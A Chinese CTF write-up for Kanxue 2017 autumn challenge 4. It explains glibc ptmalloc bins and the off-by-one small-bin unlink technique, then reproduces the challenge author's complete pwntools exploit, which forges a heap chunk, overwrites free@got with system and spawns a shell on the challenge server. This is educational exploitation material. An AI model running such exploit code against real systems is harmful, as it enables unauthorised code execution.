CTF Re Mo writeup

2017看雪秋季CTF--第四题思路二

2017-12-11  本文已影响19人  SueLyon

Heap Overflow之off-by-one

看雪CTF第四题,writemessage由于写入次数比buffer多了一字节,所以可以用off-by-one

基础:目前的Linux使用的是基于ptmalloc的堆管理器,在ptmalloc中堆块被分为以下四种类型

  1. fastbin
    fastbin的范围处于16~64byte,使用单向链表来维护。每次从fastbin中分配堆块时,都会从尾部取出。fastbin块的inuse位永远是置于1的,并且享有最高的优先权,在分配和释放时总会最先考虑fastbin。
  2. unsort bin
    unsort bin在bins[]中仅占有一个位置,除了fastbin外的其他块被释放后都会进入到这里来作为一个缓冲,每当进行malloc时会把堆块从unsort bin中取出并放到对于的bins[]中。
  3. small bin
    small bin是指大于16byte且小于512byte的堆块,使用双向链表链接,不会有两个相邻的空的small bin块,因为一旦出现这种情况,相邻的块就会被合并成一个块。通常是在调用free函数时触发这一过程。需要注意的是在相邻空块合并时会调用unlink()宏来进行取下操作,但是调用malloc()时的取下操作却没有使用unlink宏。
  4. large bin
    超出large bin范围的即为large bin,large bin相比其他块而言具有一条额外的由fd_nextsize和bk_nextsize域组成的链表结构

其中size域低三位作为标志位,我们最需要记住的就是inuse位,这个位确定了前一个块是否处于使用状态。在ptmalloc中一个块是否使用是由下一个块进行记录的

off-by-one分类:

off-by-one overwrite allocated

off-by-one overwrite freed

off-by-one null byte

off-by-one small bin

off-by-one large bin

第一种的利用的核心思路主要是为了进行chunk overlapping,而第二种的利用思路则是想要触发unlink。

参考了本题作者的出题思路,利用的是:off-by-one small bin
这种方法是要触发unlink宏,因此需要一个指向堆上的指针来绕过fd和bk链表的check。

需要在A块上构造一个伪堆结构,然后覆盖B的pre_size域和inuse域。这样当我们free B时,就会触发unlink宏导致指向堆上的指针ptr的值被改成&ptr-0xC(x64下为&ptr-0x18)。通过这个特点,我们可以覆写ptr指针,如果条件允许的话,几乎可以造成无限次的write-anything-anywhere。

结构:

A B
  1. A块中构造伪small bin结构,覆盖B块的prev_size域和inuse域

  2. free B块

  3. ptr指针被改为&ptr-0xC

作者提供的wp:

from pwn import *

bin_file = "./club"
remote_detail = ("123.206.22.95",8888)
libc_file = "./libc.so.6"
bp = [0x1100]
pie = True
p,elf,libc = init_pwn(bin_file,remote_detail,libc_file,bp,pie)

def new(box,size=0):
    p.recvuntil("> ")
    p.sendline("1")
    p.recvuntil("> ")
    p.sendline(str(box))
    p.recvuntil("> ")
    p.sendline(str(size))

def free(box):
    p.recvuntil("> ")
    p.sendline("2")
    p.recvuntil("> ")
    p.sendline(str(box))

def msg(box,cont):
    p.recvuntil("> ")
    p.sendline("3")
    p.recvuntil("> ")
    p.sendline(str(box))
    p.send(cont)

def show(box):
    p.recvuntil("> ")
    p.sendline("4")
    p.recvuntil("> ")
    p.sendline(str(box))
    return p.recvuntil("\n").strip()

def guess_num(num):
    p.recvuntil("> ")
    p.sendline("5")
    p.recvuntil("> ")
    p.sendline(str(num))
    ret = p.recvuntil("\n")
    ok = "G00d" in ret
    number = int(ret.split(" ")[-1].split("!")[0])
    return ok,number

def guess():
    randnum = []
    for i in xrange(31):
        ok,num = guess_num(0)
        randnum.append(num)
    while not ok:
        guess = (randnum[len(randnum)-31]+randnum[len(randnum)-3])&0x7fffffff
        ok,num = guess_num(guess)
        randnum.append(num)
    return num

def df_chunk(addr,size):
    # addr is the heap_addr, that means *addr=(&fake_chunk)
    fake_chunk = p64(0) + p64(size+1) + p64(addr - 0x18 ) + p64(addr - 0x10) + (size-0x20) * 'M'
    fake_next_size = p64(size)
    return fake_chunk + fake_next_size
    //p64(0x0)+p64(0xsize)表示前一个chunk在使用中,当前chunk尺寸为size,p64(X-0x18)+p64(X-0x10)表示chunk4的fd和bk指向地址,后面M是数据填充,并且在下一块标记前一块(即2)未使用,大小为size
    
    
if __name__ == "__main__":
    #guess number to get stack_addr
    seed_addr = guess()
    heap_addr = seed_addr - 0x48 + 0x10
    base_addr = seed_addr - 0x148-0x202000
    free_got = elf.got['free'] + base_addr
    atoi_got = elf.got['atoi'] + base_addr   //字符串转换成整型数的一个函数
    puts_got = elf.got['puts'] + base_addr
    libc_free = libc.symbols['free']
    libc_system = libc.symbols['system']
    log.success("heap_addr:" + hex(heap_addr))
    new(1, 0x18)
    new(2, 0xe8)
    new(3, 0xf8)
    new(4,0x110)
    msg(4,"/bin/sh\x00\n")
    
    payload = df_chunk(heap_addr,0xe0) + "\x00"

    msg(2,payload)   //构造 small bin并写入  (即A块)
    free(3)          //free后一个块完成   (即B)
    msg(2,'1'*0x10 + p64(puts_got) + p64(free_got)+"\n")   //再执行(2)就可以修改hp[]中的部分内容
    free_addr = show(2)
    free_addr = free_addr.strip().ljust(8,"\x00")
    free_addr = u64(free_addr)
    base_addr = free_addr - libc_free
    system_addr = base_addr + libc_system
    log.success("system_addr: %s"%(hex(system_addr)))
    msg(1,p64(system_addr)+"\n")
    p.recvuntil("> ")
    p.sendline("4")
    p.recvuntil("> ")
    p.sendline("4")
    #show(4)
    p.interactive()
    
上一篇下一篇

猜你喜欢

热点阅读